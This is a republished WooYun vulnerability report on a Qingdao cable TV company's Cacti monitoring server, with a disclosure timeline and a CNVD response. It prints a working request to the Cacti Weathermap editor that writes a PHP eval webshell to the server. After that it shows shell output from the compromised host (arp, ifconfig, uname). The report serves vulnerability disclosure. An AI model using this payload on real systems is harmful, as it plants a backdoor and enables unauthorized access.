青岛有线电视网络公司支撑监控系统漏洞导致Getshell

admin 2017年5月7日01:43:33评论524 views字数 3263阅读10分52秒阅读模式
摘要

2016-03-14: 细节已通知厂商并且等待厂商处理中
2016-03-18: 厂商已经确认,细节仅向厂商公开
2016-03-28: 细节向核心白帽子及相关领域专家公开
2016-04-07: 细节向普通白帽子公开
2016-04-17: 细节向实习白帽子公开
2016-05-02: 细节向公众公开

漏洞概要 关注数(3) 关注此漏洞

缺陷编号: WooYun-2016-184525

漏洞标题: 青岛有线电视网络公司支撑监控系统漏洞导致Getshell

相关厂商: 青岛有线电视网络公司

漏洞作者: 路人甲

提交时间: 2016-03-14 16:17

公开时间: 2016-05-02 15:01

漏洞类型: 重要敏感信息泄露

危害等级: 中

自评Rank: 10

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 默认配置不当

1人收藏

漏洞详情

披露状态:

2016-03-14: 细节已通知厂商并且等待厂商处理中
2016-03-18: 厂商已经确认,细节仅向厂商公开
2016-03-28: 细节向核心白帽子及相关领域专家公开
2016-04-07: 细节向普通白帽子公开
2016-04-17: 细节向实习白帽子公开
2016-05-02: 细节向公众公开

简要描述:

···

详细说明:

青岛有线电视网络公司支撑监控系统

cacti

**.**.**.**/

code 区域
**.**.**.**/plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=%3C?php%20echo(md5(1));@eval($_POST[0]);?%3E&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name
 
 **.**.**.**/plugins/weathermap/editor.php
 
 **.**.**.**/plugins/weathermap/configs/test.php

shell

青岛有线电视网络公司支撑监控系统漏洞导致Getshell

 

code 区域
[Linux NOM.**.**.**.** 2.6.32-71.el6.i686 #1 SMP Fri Nov 12 04:17:17 GMT 2010 i686(apache)]
 
 
 />arp -a
 qdaaa_4 (**.**.**.**) at 00:23:7d:3d:0d:7e [ether] on eth1
 ? (**.**.**.**) at 3c:8c:40:ab:d9:33 [ether] on eth1
 ? (**.**.**.**) at 00:0f:e2:64:ff:ce [ether] on eth1
 ? (**.**.**.**) at 00:18:82:83:6e:d2 [ether] on eth0
 qdaaa_5 (**.**.**.**) at 00:23:7d:3d:0d:c9 [ether] on eth1
 ? (**.**.**.**) at ec:9a:74:6a:8b:a6 [ether] on eth1
 ? (**.**.**.**) at 58:6a:b1:e3:16:81 [ether] on eth1
 ? (**.**.**.**) at 00:0f:e2:9c:3f:06 [ether] on eth1
 ? (**.**.**.**) at 50:65:f3:f4:74:40 [ether] on eth1
 
 
 />ifconfig
 eth0      Link encap:Ethernet  HWaddr 00:1E:0B:C0:01:7E  
           inet addr:**.**.**.**  Bcast:**.**.**.**  Mask:**.**.**.**
           inet6 addr: fe80::21e:bff:fec0:17e/64 Scope:Link
           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
           RX packets:1285215873 errors:0 dropped:0 overruns:0 frame:0
           TX packets:1136202676 errors:0 dropped:0 overruns:0 carrier:0
           collisions:0 txqueuelen:1000 
           RX bytes:1956170961 (1.8 GiB)  TX bytes:1592978053 (1.4 GiB)
           Interrupt:16 Memory:f8000000-f8012800 
 
 eth1      Link encap:Ethernet  HWaddr 00:1E:0B:C0:01:7C  
           inet addr:**.**.**.**  Bcast:**.**.**.**  Mask:**.**.**.**
           inet6 addr: fe80::21e:bff:fec0:17c/64 Scope:Link
           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
           RX packets:13251602 errors:0 dropped:0 overruns:0 frame:0
           TX packets:12305121 errors:0 dropped:0 overruns:0 carrier:0
           collisions:0 txqueuelen:1000 
           RX bytes:1542506344 (1.4 GiB)  TX bytes:1186309808 (1.1 GiB)
           Interrupt:17 Memory:fa000000-fa012800 
 
 lo        Link encap:Local Loopback  
           inet addr:**.**.**.**  Mask:**.**.**.**
           inet6 addr: ::1/128 Scope:Host
           UP LOOPBACK RUNNING  MTU:16436  Metric:1
           RX packets:12324557 errors:0 dropped:0 overruns:0 frame:0
           TX packets:12324557 errors:0 dropped:0 overruns:0 carrier:0
           collisions:0 txqueuelen:0 
           RX bytes:1855388997 (1.7 GiB)  TX bytes:1855388997 (1.7 GiB)
 
 
 
 />uname -a
 Linux NOM.**.**.**.** 2.6.32-71.el6.i686 #1 SMP Fri Nov 12 04:17:17 GMT 2010 i686 i686 i386 GNU/Linux
 
 
 />

ok

漏洞证明:

```

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-03-18 15:01

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置.

最新状态:

暂无


 

漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

 

登陆后才能进行评分


评价

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月7日01:43:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   青岛有线电视网络公司支撑监控系统漏洞导致Getshellhttp://cn-sec.com/archives/44358.html

发表评论

匿名网友 填写信息